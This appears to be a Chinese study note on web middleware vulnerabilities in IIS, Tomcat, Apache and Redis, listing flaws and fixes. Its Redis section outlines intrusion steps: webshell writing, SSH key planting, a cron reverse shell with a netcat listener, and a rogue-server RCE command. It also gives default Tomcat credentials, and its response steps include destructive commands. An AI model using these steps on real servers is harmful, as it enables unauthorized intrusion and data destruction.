中间件漏洞
- 常见的web中间件
1、Web服务器:Apache、Nginx、IIS,可能存在路径遍历、任意文件读取。
2、应用服务器:Tomcat、JBoss、WebLogic,可能存在反序列化,远程代码执行漏洞。
3、脚本语言解析器:PHP、Python、Ruby、Node.js等,可能存在代码注入、远程代码执行。
4、数据库:MySQL、Oracle、redis等,可能存在SQL注入、未授权访问、代码执行漏洞。
5、Web服务插件:Struts2、Spring、ThinkPHP等框架,可能存在OGNL表达式注入、远程代码执行漏洞。
6、缓存组键:Redis、Varnish等,可能存在未授权访问、代码执行、信息泄露漏洞。
7、前端组件:JQuery、React、Vue.js等,可能存在XSS、信息泄露。
8、负载均衡:Nginx、HAProxy、F5 BIG-IP等,可能存在路径遍历、信息泄露、RCE漏洞。 - IIS漏洞
IIS为互联网信息服务,一般适用于windows系统,不适用于其他系统。(解析漏洞、目录解析漏洞、远程代码执行漏洞、PUT文件上传漏洞、短文件名漏洞、) -
- IIS 6.X 解析漏洞
基于文件名:IIS 6.0 默认不解析;后面的内容,例如 1.asp;.jpg 会当作1.asp解析,相当于分号截断。
基于文件夹:IIS 6.0 会将 /*.asp/文件夹下的文件当成asp文件解析。(.asa、.cdx、.cer也解析为asp)
修复:禁止创建文件夹;重名上传文件;限制上传目录执行权限,不允许执行脚本。
- IIS 6.X 解析漏洞
-
- IIS 6.0 远程代码执行漏洞 CVE-2017-7269
在Windows Server 2003的IIS 6.0 的webDAV 服务端ScStorageFromUrl函数存在缓存区溢出漏洞,攻击者通过一个以"if:<http://"开始的较长的header头的PROPFIND请求执行任意代码,控制目标主机。
修复:关闭webDav服务,使用相关设备防护。
- IIS 6.0 远程代码执行漏洞 CVE-2017-7269
-
- IIS 7.X 解析漏洞
Fast-CGI运行模式下,在任意文件,例a.jpg后面加上/.php,会将a.jpg解析为php文件。
修复建议:配置cgi.fix_pathinfo(php.ini中)为0并重启php-cgi程序。
限制上传的脚本执行权限,不允许执行脚本
- IIS 7.X 解析漏洞
-
- IIS短文件猜解漏洞
IIS短文件名机制,可以暴力猜解短文件名,访问构造的某个存在的短文件名,会返回404,访问构造的某个不存在的短文件名,会返回400。
windows以8.3格式生成与MS-DOS兼容的短文件名,以允许基于MS-DOS或16位Windows的程序访问这些文件。
IIS支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种。IIS8.0之后的版本只能通过OPTIONS和TRACE方法被猜测成功。
修复:升级.net framework到4.0以上版本;修改注册表禁用短文件名功能;关闭NTFS8.3文件格式的支持(默认开启);
局限性:该漏洞只能确定前6个字符,如果后面的字符太长,包含特殊字符、很难猜解。
如果文件名本身太短(无短文件名)也是无法猜解的;如果文件名前六位带空格。8.3格式的短文件名会补进,和真实文件名不匹配。
- IIS短文件猜解漏洞
- Tomcat漏洞
Tomcat是一个开源免费的jsp服务器,默认端口:8080,轻量级应用服务器。可以实现Javaweb应用程序装载,是1配置JSP和JAVA系统必备的一款环境。 -
- Tomcat put方法任意文件写入漏洞
当Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法,在conf配置目录下/web.xml配置文件中添加readonly设置为false时,将导致该漏洞产生,攻击者可以利用构造PUT方法数据包向服务器上传包含任意代码的JSP文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

修复:设置readonly为true。
- Tomcat put方法任意文件写入漏洞
-
- Tomcat后台弱口令部署war包
Tomcat默认控制台地址:http://127.168.0.0:8080/manager/html
默认密码:tomacat/tomcat
- Tomcat后台弱口令部署war包
- Apache漏洞
- 1.Apache多后缀解析漏洞
Apache解析漏洞主要原因是Apache默认一个文件可以有多个.分割得后缀,当最右边得后缀无法识别(mime.tyoes文件中为合法后缀 )则继续向左看,直到碰到合法后缀才进行解析(以最后一个合法后缀为准)


- 2.Apache罕见后缀解析漏洞
Apache配置文件中会有.+.ph(p[345]?|t|tml)此类的正则表达式,被当php程序执行的文件名要符合正则表达式。也就是说php3,php4,php5,pht,phtml等文件后缀也是可以被当作php文件进行解析的。 - 3.Apache换行解析漏洞CVE-2017-15715
Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。2.4.0-2.4.9版本存在一个解析漏洞,在解析PHP时,1.php\x0a将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
正则表达式中,$来匹配字符串结尾位置。如果设置了RegExp对象的Multiline属性,则$也匹配'\n'或'\r'。要匹配$字符本身,使用$。
如果设置MULTILINE标示,就当作换行符处理,如果不设置一律当作一行文本处理。 - redis未授权访问漏洞如何入侵利用
1、写入webshell:设置web目录路径需要知道绝对路径,设置数据库文件名、写入PHP代码,保存到文件,访问HTTP://目标IP/shell.php即可执行任意PHP代码。
2、SSH公钥钥写入一句话木马:本地生成SSH密钥对,将公钥写入文件,连接redis写入公钥、设置redis保存路径为SSH目录
3、计划任务反弹shell:写入反弹shell命令,监听端口:nc -lvbp 4444
4、主从复制RCE# 利用工具:https://github.com/n0b0dyCN/redis-rogue-server
python3 redis-rogue-server.py --rhost 目标IP --lhost 攻击者IP
应急响应步骤:
1、立即断开网络:禁用redis服务或从网络隔离 systemctl stop redis
2、检查后门:检查可疑文件find / -name "*.php" -mtime -1
ls -la /root/.ssh/authorized_keys
crontab -l
检查redis数据:redis-cli -a 密码 keys *
3、恢复措施:删除恶意keyredis—cli -a 密码 flushall
删除webshell rm -f /var/www/html/shell.php
删除SSH密钥 rm -f /root/.ssh/authorized_keys
4、更新加固:apt-get update &&apt-get upgrade redis—server - java常见的中间件容器(回答存在问题略过)
Tomcat 、JBoss、oracle、Eclipse、weblogic - Tomcat重启的话,webapps下你删除的后台会不会又回来?
1、如果只是手段删除了webapps目录下的应用文件夹/WAR文件:不会自动恢复
2、如果配置了自动部署源;自动化脚本/版本控制系统,配置了热备份/同步,使用Docker恢复原始镜像;会恢复

浙公网安备 33010602011771号